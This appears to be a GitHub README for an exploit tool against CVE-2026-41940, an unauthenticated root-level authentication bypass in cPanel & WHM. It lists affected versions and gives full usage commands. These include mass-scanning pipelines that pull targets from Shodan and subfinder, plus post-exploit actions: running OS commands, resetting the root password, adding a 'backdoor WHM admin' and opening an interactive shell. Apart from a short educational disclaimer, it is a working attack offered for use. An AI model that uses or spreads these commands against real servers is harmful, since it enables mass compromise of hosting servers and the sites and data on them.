CVE-2026-41940
⚠ This tool is created solely for educational or bug bounty purpose only. Unauthorized use outside of controlled environments is strictly prohibited.
Description
A tool for exploiting CVE-2026-41940, a critical authentication bypass in cPanel & WHM (CVSS 10.0), allowing unauthenticated attackers to gain root-level WHM access by injecting CRLF sequences into server-side session files via the Authorization header — no credentials required.
How it works
CVE-2026-41940, in general terms, is exploited through a breakdown in how the system handles authentication sessions in cPanel/WHM. The attack typically begins with a normal request to the login interface, where the application prematurely initializes a session before fully validating user credentials. Because of improper handling of session-related input, certain crafted or unexpected input structures can alter how session data is stored or interpreted by the server.
Affected versions
| Version | Vulnerable | Patched |
|---|---|---|
| 110.x | ≤ 11.110.0.96 | 11.110.0.97 |
| 118.x | ≤ 11.118.0.62 | 11.118.0.63 |
| 126.x | ≤ 11.126.0.53 | 11.126.0.54 |
| 132.x | ≤ 11.132.0.28 | 11.132.0.29 |
| 134.x | ≤ 11.134.0.19 | 11.134.0.20 |
| 136.x | ≤ 11.136.0.4 | 11.136.0.5 |
Installation(Windows/Mac OS)🔄
git clone https://github.com/yasouxken/CVE-2026-41940-PoC cd CVE-2026-41940-PoC # Windows python cve.py # MacOS/Linux python3 cve.py
How to use
The tool expects a target domain to be specified.
Single target mode:
python cve.py -u https://target1.com:2083
You can also scan from the target.txt file(create it):
python cve.py -l target.txt -t 50 -o result.json
Basic scan:
Available commands:
python cve.py -u https://victim1.com:2083 # single target scan python cve.py info -u https://victim1.com:2083 # Retrieves system information (version, load, disk usage). python cve.py host -u https://victim1.com:2083 # Retrieves the hostname of the target server.
Post-Expoit actions
# List all accounts on the server python cve.py list -u https://target.com:2087 # OS command python cve.py cmd -u https://target.com:2087 --cmd "id;whoami;uname -a" python cve.py cmd -u https://target.com:2087 --cmd "ls /home" # Get server info (hostname, disk, MySQL host) python cve.py info -u https://target.com:2087 # Change root password python cve.py passwd -u https://target.com:2087 --passwd 'NewPassword1423!!@' # Interactive WHM shell python cve.py shell -u https://target.com:2087
Pipelines
# subfinder → httpx → cPanelSniper subfinder -d victim.com -silent | \ httpx -silent -ports 2085,2086 -threads 50 | \ python cve.py scan -t 40 -o results.json # From scope list cat scope.txt | \ httpx -silent -ports 2085,2086 -threads 100 | \ python cve.py scan -t 30 -o results.json # Shodan results shodan search --fields ip_str,port 'title:"WHM Login"' | \ awk '{print "https://"$1":"$2}' | \ python cve.py -t 30 -o shodan_results.json # Multiple sources combined { subfinder -d victim.com -silent; cat extra.txt; } | \ httpx -silent -ports 2087 | \ python cve.py -t 20 --action list
WHM Shell mode
After a succesful executuion, you can open an interactive WHM shell:
python cve.py shell -u
All shell Commands
| Command | Description |
|---|---|
id |
Show User ID |
hostname |
Get server hostname |
accounts |
List all user accounts |
info |
Load, disk, MySQL host, version |
cat <path> |
Read file content |
exec <cmd> |
Execute OS command |
newadmin <user> <pass> |
Create backdoor WHM admin |
passwd <pass> |
Change root password |
l [path] |
List directory |
help |
Show all commands |
exit |
Exit shell mode |
CLI Reference
usage: cve.py [-h] [-u URL] [-l LIST] [--hostname HOSTNAME]
[-t THREADS] [--timeout TIMEOUT] [--rate-limit N]
[--action ACTION] [--passwd PASS] [--cmd CMD]
[--new-user USER] [--new-domain DOMAIN]
[-o OUTPUT]
Target:
-u, --url URL Single target URL (e.g. https://host:2087)
-l, --list LIST File with URLs (one per line)
--hostname HOSTNAME Override canonical Host header (auto-discovered)
Scan:
-t, --threads N Concurrent threads (default: 10)
--timeout N Request timeout seconds (default: 15)
--rate-limit N Delay between targets (default: 0)
--force Skip cPanel detection check
Post-Exploit:
--action ACTION Action: list | passwd | cmd | exec | info |
version | shell | adduser
--passwd PASS New root password (--action passwd)
--cmd CMD OS command (--action cmd/exec)
--new-user USER New cPanel username (--action adduser)
--new-domain DOMAIN New cPanel domain (--action adduser)
Output:
-o, --output FILE Save results to JSON file
--no-color Disable ANSI colors
Disclaimer
⚠ This tool is created solely for educational or bug bounty purpose only. Unauthorized use outside of controlled environments is strictly prohibited.